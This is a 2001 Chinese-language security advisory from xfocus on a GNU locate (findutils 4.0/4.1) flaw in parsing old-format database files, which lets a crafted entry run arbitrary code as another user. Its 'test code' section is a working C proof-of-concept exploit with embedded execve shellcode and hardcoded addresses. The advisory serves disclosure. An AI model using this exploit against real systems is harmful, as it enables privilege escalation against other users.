xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

GNU Locate存在任意命令可执行漏洞


发布时间:2001-08-06
更新时间:2001-08-06
严重程度:
威胁程度:权限提升
错误类型:设计错误
利用方式:服务器模式

受影响系统
GNU findutils 4.1
   + Slackware Linux 8.0
   + Slackware Linux 7.1
GNU findutils 4.0
详细描述
GNU locate是可以在文件数据库里搜索那些匹配用户提供的文件名的程序,
其中程序在读由GNU locate 4.0版本之前产生的数据库文件组成的那些"旧"
格式文件时存在边界环境错误问题,攻击者可以写一个恶意条目到其他用户
使用的数据库文件中,这样当其他用户执行locate程序时任意代码可以被
执行。

测试代码
#include <stdio.h>

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
   "\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
   "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
   "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   printf("%s",shellcode);
   fflush(stdout);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   fflush(stdout);
   putchar(0);
   putchar(30);
   printf("%s", &addr2);
   printf("\x82\x83");
   fflush(stdout);
}

解决方案
尚无

相关信息